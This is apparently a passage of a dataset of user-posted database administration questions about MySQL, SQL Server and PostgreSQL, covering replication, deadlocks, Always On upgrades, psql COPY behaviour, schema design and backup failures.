Nothing shows up in the .err log, things look good. I connect and use mydb; and see the table I was messing with in show tables.  But, if I try

select * from testtable limit 10;

I get the error

ERROR 1146 (42S02): Table 'mydb.testtable' doesn't exist

From what I can tell so far I can read from all the other tables just fine and replication started back up w/o any complaints.

Is there anything I can do to recover from this point?  I can rebuild it from scratch if need be but was curious what others thought about this venture in general.  Was there anything about the series of steps I took that would have ended up w/ more flawless results?

What if this wasn't a test server I couldn't just 'do it live' and see what happens?  What would have the best way to free up space temporarily on a production slave if I had to like that?


texts: Login failed errors while DB refresh in progress

texts:
We have a 2.5TB refresh in Production, I have automated the refresh of latest production backup to lower environment every Sunday night. And during this activity, SQL error log is filled with

  Login failed for user 'xxxx'. Reason: Failed to open the explicitly specified database 'xxxx'.

The options to stop these I could think of is:

Ask app team to stop connecting to DB during refresh - they have lot of process, so they are not ready.
Recycle error log post refresh - I need to search the entire log file for any messages during refresh (non login failed errors)
Disable the login - that creates alerts too.

What is the best approach? Any thoughts? Or am I missing something stupid?

Unfortunately, due to other apps that connect to this instance, I can't:

disable logging of failed logins entirely, or
block all connections (via the firewall, etc)


texts: Single Database Upgrade (From App side) which is part of Always On

texts:
We have a task to plan out an Always On database upgrade (Schema upgrade) as per the Application. The connected application will do few schema changes as part of the application upgrade.

Database Size : 450 GB

Always ON Mode : Synchronous (With Automatic Failover)

  Can this be done without removing it from the AG.? (This is a request from App side)
  Will this cause any issues as it in in Synchronous state with the Secondary replica?

We have to give a proper downtime depending on this and do not want to go one way and do it another.

Right now our plan :

Remove the Db from AG.
Do the db upgrade (Schema change).
Add back the
db into AG with fresh backup.


texts:
we see deadlocks when loading a partitioned table. I wonder if someone can confirm what I think is the reason, or if I am looking at it wrong and we need to fix another thing.

Our setup is like this: A big data warehouse table gets data added to it every night. This is done through an SSIS Package, and in parallel. The data can be separated by column "country", and we run the same package for several countries at the same time to speed up things. One package alone simply does not use all resources of the machine.

With a non-partitioned table, we saw deadlocks once every few weeks. Not too bad, but too often to ignore.

We decided to partion the table by country, hoping to get rid of the deadlocks. I followed what I think is best practice, with an empty partition to the left and right, and one partition for each country. The country is encoded in an NVARCHAR(3) datatype. We recreated the clustered index using the partitioned column, and finally set lock escalation for the table to auto.

I can verify that all partitions are loaded with data belonging to it only, so all seems to be working fine.

However, we still keep getting deadlocks. I would have expected that my "write operation" (quotes will be explained next) would each focus on just one partition, and the parallel running SSIS packages could not interfere.

First question: Am I right in this expectation? Should I not be getting deadlocks now?

I think I have an answer to why they still appear: the "write operation" mentioned in quotes is somewhat complicated, it is an own SSIS component written in c# before my time with my employer. Each package creates and writes ALL DATA into it's own temp table, and then executes a

MERGE WHEN MATCHED UPDATE WHEN NOT MATCHED INSERT

from it's temp to the final table.
When building this MERGE-Statement, the component uses a construction to compare NULLs, i.e.

WHERE @given IS NULL and col is NULL OR @given is not null and col = @given

and it does this also for the country-column, which is part of the clustered index and partition key.

I suspect, that by having a query relating NULL to the partition key, I trigger a "search and lock every partition" operation. Is this the case, does something like this exist? Or does the description point to another reason why we still get deadlocks?

Thanks a lot for reading and your suggestions!


texts: Distributed database implementation in sql server

texts: Currently, We have central Database at Head Office and users from sub offices ,scattered around the country, connect to central database. Now we want to distribute the database in disconnected mode at each Sub office level and we want data to be synchronized at the day end at the central Database from all others Databases. We also want transfer of data to all Databases from central Database. Please refer me the tutorial or way to implement this scenario in SQL Server. Thanks in Advance.


texts: SQL Server 2005: Integration Services Stored Packages is empty. Why?

texts:
I am trying to import, export SSIS packages. I know they are there. When I query msdb.dbo.sysdtspackages90 I get 22 packages. But when I connect to Integration Services on the server, the stored packages folder is empty. What is going on?

And I have already checked MsDtsSrvr.ini.xml. It is set up with the standard, default settings.


texts:
I am building an advertisements system for websites ( a plugin for a framework ). I am not quite sure how I should set up the table in terms of indexes.

Basically there are two options for billing - by impressions and by clicks, so I guess the table fields ( initially, without customization ) would be

this may not be valid code, just a representation

`id` int(10) unsigned AUTO_INCREMENT,
`headline` VARCHAR(100),
`text` VARCHAR(255),
`url` VARCHAR(255),
`impressions` int(10) unsigned NULL,
`clicks` int(10) unsigned NULL,
`threshold` int(10) unsigned

Where threshold will be the amount of impressions/clicks paid for, and respectivelly impressions or clicks will hold the same amount initially, and will then decrease as the advertisement gets attention accordingly.

I'm having my doubts about this design because one of the impressions or clicks columns has to be empty at all times, and this just doesn't seem right. Also my select queries will look a little messy

SELECT (fields) FROM adverts WHERE ( clicks > 0 OR impressions > 0)

And then from the selected advertisements I have to reduce impressions

UPDATE adverts SET impressions = impressions - 1 WHERE id IN (selected previously)

But if the advertisement is paid as clicks, setting NULL to NULL - 1 doesn't make much sense, but seems to work, surprisingly for me.

Also what I'm more concerned about are indexes. Having in mind that most probably there will be an audience selection option, where advertisers will be able to chose their audience by, mainly, age and location. I'd like to ask, how are indexes used in such situations where there are going to be such complex queries and multiple possible columns to validate the record from ( clicks and impressions )? Indexing either of them is pointless because the driver can only use one index and is still going to have to go through all other records. This makes me think that I'm using the wrong schema, is there a better way?


texts: How can I place "WHERE CLAUSE " to this query in order to filter a results

texts:
This is mysql query that found on the internet and modified to my needs, but I failed to place where clause in order to filter result.

SELECT
stid,
MAX( CASE WHEN courseid = 'MATH' THEN marks END) MATH ,
MAX( CASE WHEN courseid = 'HIST' THEN marks END) HIST,
MAX( CASE WHEN courseid = 'SCI' THEN marks END) SCI,
MAX( CASE WHEN courseid = 'GEO' THEN marks END) GEO,
MAX( CASE WHEN courseid = 'ENG' THEN marks END) ENG,
MAX( CASE WHEN courseid = 'CIV' THEN marks END) CIV,
MAX( CASE WHEN courseid = 'VS' THEN marks END) VS,
MAX( CASE WHEN courseid = 'KISW' THEN marks END) KISW
FROM finalresults
GROUP BY stid ORDER BY 1"


texts:
Given a simple function (SQL for the sake of example, can be plpgsql)
CREATE OR REPLACE FUNCTION dynamic_filter(
  f INT[] DEFAULT NULL
) RETURN INT[] LANGUAGE SQL AS
  $$
    SELECT ARRAY_AGG(val)
    FROM   table
    WHERE  <filer>
    ;
  $$
;

what is the most efficient way to

either filter by elements in f, if f IS NOT NULL
or else use no filter at all

I am not bound to using an ARRAY if any kind of set structure is favorable.

I am currently using a simple CASE as <filter>:
CASE WHEN f IS NULL THEN val > 0 ELSE val = ANY(f) END

in favor of e.g. dynamic SQL/FORMAT, but I wonder if there is a more natural solution alike the concept of
WHERE [TRUE | <filter_expression>]

in the context of arrays, or sets of any suitable kind.

PostgreSQL > 12


texts: Calculating the total row size of a table - SQL Server

texts:
I have a table 'Connections' with the following schema in SQL Server:

[ID] [int] IDENTITY(1,1) NOT NULL,
[User] [nvarchar](20) NOT NULL,
[UserID] [int] NULL,
[True] [bit] NOT NULL,
[Comment] [nvarchar](max) NOT NULL,
[Created] [datetime] NOT NULL,
[Flag] [bit] NULL,
[Destination] [varchar](20) NULL

and it has a primary key clustered index on the ID column.

I need to get the size generate by the entries on this table per month. I have search for any existing SP, function or any DMV that can help me with this but I only found how to get the size of the table not per row. Also I need the total size of the rows per month so cannot get the total size/minimum/maximum of the rows on the  whole table (as the solution provided in other stackexchange posts).

My attempt to this is as follows:

USE DB1;
SELECT DATEPART(year,created),
       DATEPART(month,created),
       (count (*))*(4+2*ISNULL((max(len([User]))),2)+4+1+2*ISNULL((max(len([Comment]))),2)+8+1+ISNULL(max(len([Destination])),2)) 'BytesPerMonth'
FROM Connections
GROUP BY DATEPART(year,created),DATEPART(month,created)

In the above I multiplied the number of rows with the byte size of a row and considered the following:

int - 4 bytes
nvarchar - 2 bytes per character ([nvarchar](max) also take 2 bytes per character, same as if we had [nvarchar](40), correct?)
bit - 1 byte
datetime - 8 bytes
varchar - 1 byte per character

However, this only provides an estimate due to only considering the max length of the variable columns and multiples that (the maximum) by the amount of rows which results in a much bigger value than the actual size of the rows. Is there a way that I can get the actual size per row in this context?

Furthermore, I am aware of the row header which is per row - another 4 bytes per row (currently I did not include this since my result was already huge due to considering the max of the variable columns). Also I have found that I should consider 3 bytes due to the null values and 8 bytes due to the variable columns in my schema, do they need to be considered per row/ per column? How can I calculate the size of the index?


texts: Design for when a company can edit a client information, but client has a private profile

texts:
First of all, let me apologize for the title, this predicament I'm in is quite impossible to describe in few words.

The application architecture involves a relationship between a company, clients, and its staffs.

1) A client creates an account (Account table with login and password), and creates a profile (Profile table with name, phone number, etc)

2) The client chooses a company for a service. At this point, the client becomes a client of the company, and a record is inserted in a regular many-to-many CompanyClient table.

Now, the company owner must be able to edit details of this client, and this includes profile information, such as phone number and email. However, these changes must not be reflected on the clients account when he logs in, e.g. the profile record of the client cannot be modified. It is as if the client has a private profile, and inside the a company he has another profile.
A client registered as Thomas might have his name changed to Tom by a company admin that finds it easier to recognize Thomas by Tom.

Also, a company may add a client to its client list, a client that has no account or anything.

To solve this, I came up with this design:

Account
 -Id (FK to profile table Id, an account cannot exist without a profile)
 -Login
 -Password

Profile
 -Id
 -Name
 -Email

Person (basically a clone of the client's profile at first)
 -Id
 -Name
 -Email
 -Profile Id (nullable, a client without an account)

CompanyClient
 -Company Id
 -Person Id

Keep in mind that a client may be associated with multiple companies, which means there would be several "profile clones" in the Person table.

Ok, this is half of the problem. Here's the other half:

a company staff may very well have an account or not, just like a client, and a company must also be able to change the staff profile without affecting his account, if any.
A staff has all of the Person table columns, and more.
I thought about making a Staff table with an FK to Person. This would also allow for a Staff to be granted access to the system, which would cause a record to be inserted into Account, and the Profile Id column of his Person table record would be set to the newly inserted account Id.

The last part of the problem is that a company must be able to add additional information about a client, such as rating, observation, etc. Because of this, having the Person table starts to sound wrong.

I'm not sure this is the right way to go about this problem, or if adding all of the Person columsn  to the CompanyClient and CompanyStaff table would be the right way. This feels like a very unusual design, any help is appreciated.

Maybe the best way is to have a Profile, Client, and Staff table, all with replicating information such as name, phone, etc?


texts: Can the number of tables and functions affect performance?

texts:
I have some big database with hundreds of functions and tables.
They also have a lot of sequences, custom types and some views and triggers.

There is a point when the quantity of objects will be a problem? Affecting for example parsing?

Did you ever notice some kind of impact for these reasons?


texts: COPY command only works as command line argument, not as part of script

texts:
No rows are being copied when I try to copy a CSV from stdin. To be more specific, this works when writing the command on the cli, but not when read as part of a file. Why is reading SQL commands from a file different from executing them directly as an argument for -c?
cat extract.csv  | psql postgres -f copy-user.sql
Timing is on.
Line style is unicode.
Border style is 2.
Null display is "[NULL]".
Expanded display is used automatically.
COPY 0
Time: 41.685 ms

$ cat extract.csv  | psql postgres -c "$(cat copy-user.sql)"
Timing is on.
Line style is unicode.
Border style is 2.
Null display is "[NULL]".
Expanded display is used automatically.
COPY 10
Time: 31.685 ms

copy-user.sql
copy to_update from stdin (delimiter ';', format csv);

extract.csv
bfb92e29-1d2c-45c4-b9ab-357a3ac7ad13;test@test90239023783457843.com;x
aeccc3ea-cc1f-43ef-99ff-e389d5d63b22;tester@testerkjnaefgjnwerg.no;x
9cec13ae-c880-4371-9b1c-dd201f5cf233;bloblo@gmail.com;x
aeada2bc-a362-4f3e-80f2-06a717206802;veaat@gmail.com;x
fb85ddd8-7d17-4d41-8bc3-213b1e469506;navnnavnesen@foo.com;x
528e1f2e-1baa-483b-bc8c-85f993014696;kklk@hotmail.com;x
dbc8a9c1-56cf-4589-8b2c-cf1a2e0832ed;ghiiii@hotmail.com;x
fbf23553-baa2-410a-8f96-32b5c4deb0c7;lala@lala.no;x
e22ec0de-06f9-428a-aa3e-171c38f9a1f7;x2aa@gmail.com;x
8e8d0f73-8eb7-43b4-8019-b79042731b97;mail@mail.com;x

table definition for to_update
create table to_update(id text, email text, text char);


texts: Mysql : what are the steps for creating a database schema for a big project with many tables?

texts:
I am creating a project with lots of tables like one for taxes, one for employees, customers etc. So how should I go about it?
For eg: building the ER model first or something like that


texts: Search for the root words using root words with prefixes or suffixes

texts:
Is it possible to search the word "FILL" saved in the SQLite database using the words "REFILL" or "FILLED"? Not just these words specifically but you get the idea of searching the root word using the same word but with prefixes or suffixes.

I might get misunderstood as wanting to use the LIKE operator/command. But what I need is somehow reverse of that. The case is that the root words (FILL) are the ones in my database and the words that I am going to use in the query are those with prefixes or suffixes (e.g REFILL, FILLED)

I cannot use those word-trimming API because it's not going to be done in English. A code for android/Sqlite would be great but the query command is already a great help. Thaanks.


texts:
I am running SQL Server 2008R2 Express edition. For all databases full backup, I am using expressmaint.exe. In this, I am using the command

-S server name -D ALL -T DB -R
D:\SQL_BACKUP\SQL_EXPRESSMAINT_LOGS\FULL_BACKUP_LOGS -RU DAYS -RV 5 -B
D:\SQL_BACKUP\SQL_FULL_BACKUP -BU DAYS -BV 5.

I have created schedule backup from Task Scheduler. It was running 3 days then after start failing the backup plan for only 1 database.
System database has been successfully running except 1 database.

  Error: BACKUP failed to complete the command BACKUP DATABASE (database name)

From logs I got this error message:

  An exception occurred while executing a Transact-SQL statement or batch.
      Timeout expired.  The timeout period elapsed prior to completion of the operation or the server is not responding.

From Event Viewer logs I got below error code: 3041

  The backup or restore was aborted.BACKUP failed to complete the command BACKUP DATABASE Database Name. Check the backup application log for detailed messages.

Can you please anyone help me with this.


texts: Login lifespan for password on SQL Server

texts:
What is the "lifespan" for a login with the option Enforce Password Expiration Enabled?

Where can I find configuration/option to change the time?